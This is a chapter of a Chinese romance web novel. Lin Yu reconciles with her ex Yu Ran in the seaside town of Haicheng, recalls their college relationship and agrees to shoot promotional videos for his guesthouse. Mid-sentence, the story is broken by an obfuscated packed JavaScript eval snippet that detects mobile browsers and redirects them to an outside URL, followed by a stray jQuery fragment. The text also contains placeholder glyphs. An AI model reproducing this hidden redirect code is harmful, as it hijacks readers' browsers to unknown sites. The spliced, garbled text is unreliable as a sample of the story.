“我是真的希望你在海城玩得开心,不想和你有什么不愉快。”
林余按住门把手的手停住。
于燃有一个很令人佩服的点,他总能得到想要的结果,不论过程多么繁琐、艰难。
而且是笑眯眯、悄无声息的就达到了,林余称这项技能为精神攻击。
这种性格挺强势的,虽然于燃自己不那么觉得。
但是如果林余不接受他的道歉,那他就会一直道歉、尝试弥补、以退为进,直到林余真的原谅他为止。
林余来海城的目的是放松,她是真的不想再和前男友有什么纠纷了。
于燃觉得和前女友成为朋友,才算是给这段感情画一个完美的句话,那就这样吧。
她靠在门上,伸出手:“我一开始确实有点生气,但仔细想来,你说的确实很有道理。”
“我们之间的关系统确实不能这么僵硬,燃哥,当朋友挺好的。”
于燃笑得非常愉快,回握住她。
林余默默叹口气,侧身叫让他先走带路。
终于解决了。
于燃还是得顺着薅。
朋友二字出现在他们中间。似乎永远都会带来不愉快。
久远的记忆似玻璃外的景色,有时候不需要用手擦拭,当玻璃上的水雾□□燥炎热的天气自然烘干,便显露了出来,这是不受控制的。
刚在一起时,林余与于燃一起去吃饭,正好碰见了隔壁班玩得好的一名同学,同学身边跟着一大帮人,男男女女都有,看起来像刚聚会回来。
同学冲她打招呼:“林余!”
林余回应,却悄悄放开了与于燃交握的手,于燃站在一旁等她们寒暄。
不一会,同学的目光转向了于燃,眼睛里亮着光,看看林余,又看看于燃,问:“这位是?”
林余极自然地笑道:“我的一个朋友。”
在她的认知里,她和于燃才刚刚在一起,关系还不算稳定,不到可以昭告天下的地步,而且于燃虽然不是本科生,但在计算机系也十分出名,林余不太确定,他想不想公开两人的关系。
在这么一大帮子人面前点头,不一会两人的关系网里的人就能全知道,相信这也是于燃不愿意看到的。
却不想,放在后面的手,突然被攥住,很紧。
于燃的手宽厚、炙热,带着让人不容拒绝的力道,就像他这个人。
林余顿时明白他的意思,她没有回头,好多双眼睛都在盯着两人,但似乎暂时还没有人发现这个小动作。
林余只好往后退了一步,用贴近的身体挡住交握的双手,讨好的捏了捏于燃的手。
于燃最终还是放开了。
后来,同学们走远,林余冲于燃笑,狗狗眼弯起来,显得真诚万分,主动挽上了于燃的手,抱得很紧。
于燃作势要抽开:“学妹,我们只是朋友,这不合适吧?”他眸色冷淡,不见平日里的含笑纵容。
不难看出,他生气了。
林余有些不知所措,她从未接触过亲密关系,也对于燃不够了解,就像不知道于燃会因为这件事情生气一样,她也不知道该如何哄于燃高兴。
当时的一举一动都鲜活生动,反倒是现在的情绪来得莫名其妙,像隔了一层难以触摸的纱。
最后于燃没有坚持多久,林余趁着四下无人,左右看了看,踮起脚亲亲他的脸颊,于燃顿时就笑了,握紧她的手。
“以后不准这样说了。”
*
林余抬头,看向走在她前面的于燃。
于燃正好也回头,两人的目光猝不及防的相接。
于燃笑道:“这个时间,你应该刚毕业吧,手头应该也没有那么充裕,我这有个活,你要不要接?可以给你再少点。”
林余看过不少青旅义工类的短视频,她是来散心的,闲着也是闲着,并不反感在民宿里帮忙做些事情。
林余问:“具体需要我做些什么?”
于燃:“最近缺个帮我搭建民宿网站的,主要展示用,挺适合你的。”
林余一愣,没想到于燃说的干活是指这个,这类型的酒店网站,本质上是个blog的东西,wordpress跑一跑就行,林余大学时就帮老师干活了,对她自然算不上什么。
“你怎么不自己做?”
于燃答:“我准备在隔壁市再开一家民宿,太忙了没有时间。”
林余:“你还是自己做吧,我三个月后就走了,网站每年都要维护,你自己做最方便。”
于燃再抛出诱惑,接她话道:“给你免单。”
林余之前也在网上接过私活,展示性网站是真的很简单,现在计算机的行情有这么好吗?她明白一个最简单的道理,免费的才是最贵的。
最重要的是,她讨厌敲代码,一点也不准备重操旧业。
她问:“你的民宿很缺曝光?”
于燃回她:“谁会嫌钱赚得少。”
于燃打什么主意?
林余审视于燃,他给的价格实在很好。
于燃也低下头回视她,有些疑惑的挑了挑眉。
毫无疑问,于燃长得很好看,桃花眼潋滟,眼下一枚小痣更是蛊惑人心,身材也好。
这是林余大学时的审美,直到现在,也没怎么变过。
不管他本人内里如何,林余看着有些手痒。
想拍照。
见林余一直盯着他,于燃也没有露出不自在的表情,反而冲她微微一笑。
“换一个。”林余出声。
“换一个活干,我有一个办法能让民宿增加曝光。”也能让她不用花钱就能租到民宿。
*
继林余与于燃定下合同,他们已经有些天没见了,仿佛于燃出现就是为了赚她三个月的房租,完成之后就消失了。
路潇玉说于燃不住在民宿,只有特别忙的时候会来帮忙,现在他甚至不在海城。
林余乐得不用见他,顿时觉得民宿周边的空气都更新鲜了。
接连的台风与阴雨天让顾启月和程嘉运两人什么都没玩到就要返程,林余去火车站送他们。
顾启月不在京市上学,offer却在京市,程嘉运则在与两人距离都很远的S市继续学业。
火车站嘈杂,人来人往尽是来海城旅行的游客。
顾启月大力拥抱了一下林余,眼眶竟然有些红,连声音都哽咽。
林余今天没化妆,狗狗眼弯起来时,显得心软得很,轻轻给她擦眼泪。
“哭什么,过年再见就好了。”
三人来自同一个地方,还在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093809|195564||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上高中时就认识了,总会有再见的时候。
顾启月闻言,哭得更大声了:“听说我们公司工作强度很大,要是我春节回不来怎么办?要是我工作到一半被开了怎么办,呜呜呜。”
顾启月有一米七多,整个人都扑在她的怀里,眼泪蹭在她肩膀上,林余被她撞得后退两步,求助的眼神投向程嘉运。
程嘉运接收到她的眼神,上前两步,手伸出来放在半空,嘴要张不张,踌躇着不知道该说什么。
林余就知道他指望不上,继续安慰顾启月:“你还这么年轻,工作不好不是很正常的事吗?乖,我们不焦虑,大不了来陪我。”
程嘉运:“启月,我们得走了,不然赶不上检票了。”
林余又与他们说了几句,挥挥手,目送他们离去。
为期三月的独居生涯正式开始。
林余往回走着,说不清心里是惆怅多一些还是轻松更多一些。
起码在离家乡与大学都极远的海城,她远离了所有认识的人,再也没有人可以以关心她的名义对她的未来规划表示忧心了。
三个月的自由生活,她来了!
然而,在这样值得开心的时刻,一位被林余遗忘的人却出现了。
“林余?”他站在林余身后,双眼含笑,声音带着愉悦,叫住她:“你怎么在这?”
林余回头,看见了于燃。
来之前,她查过海城的面积,虽然说不上特别大,但也绝对不小。
但是,怎么处处就都能碰到于燃?考虑到未来的三个月,林余只能扯起嘴笑了一下,和于燃打招呼:“程嘉运他们要走了,我来送送。”
她与于燃目的地相同,都要离开火车站,不管愿不愿意,好像都只能一起走着了。
于燃看起来刚从火车上下来,眉眼间略显疲惫,他端详着林余的脸,道:“今天不化你的黑化妆了?”
林余:......她不想说话,又想问于燃怎么知道这个妆容的名字的。
于燃笑:“我在隔壁市出差,无聊就刷了下你的视频。林大摄影师真是多才多艺。”
林余喜欢摄影,自然也想自己的作品被更多人欣赏知道,于是便在网上发表视频。
账号主要还是以摄影作品为主,她人景都拍。
山水照片大多恢弘壮阔,自然写意,可模特视频却大都依照模特自己的风格进行拍摄,风格百变,林余最擅长的还是通过对光影的运用营造氛围感,也因此在互联网上,积累了小二十万粉丝。
林余偶尔也会出境和大家分享生活,黑化妆是她给这个妆容起的名字,视频发出后,弹幕一片嚎叫,都在夸她好有反差感,林余回忆弹幕,却只能想起来满屏的“老婆亲亲”、“呜呜我的可爱女儿怎么去混黑涩会了”此类令人脚趾扣地的评价。
林余感到有些尴尬。
而人在尴尬的时候,往往会口不择言,她道:“怎么,你很喜欢?那我们就拍这个。”
原以为会等来于燃的投降,却没想到他面色未变,直接道:“好啊,但是那个妆我画起来会不会显得太凶了,吓到别人。”
“要不拍宣传视频的时候画个别的,拍完你再给我画这个黑化妆。我还能陪你一起拍照发视频。”
林余看他一眼:“你想得倒还挺多挺远。”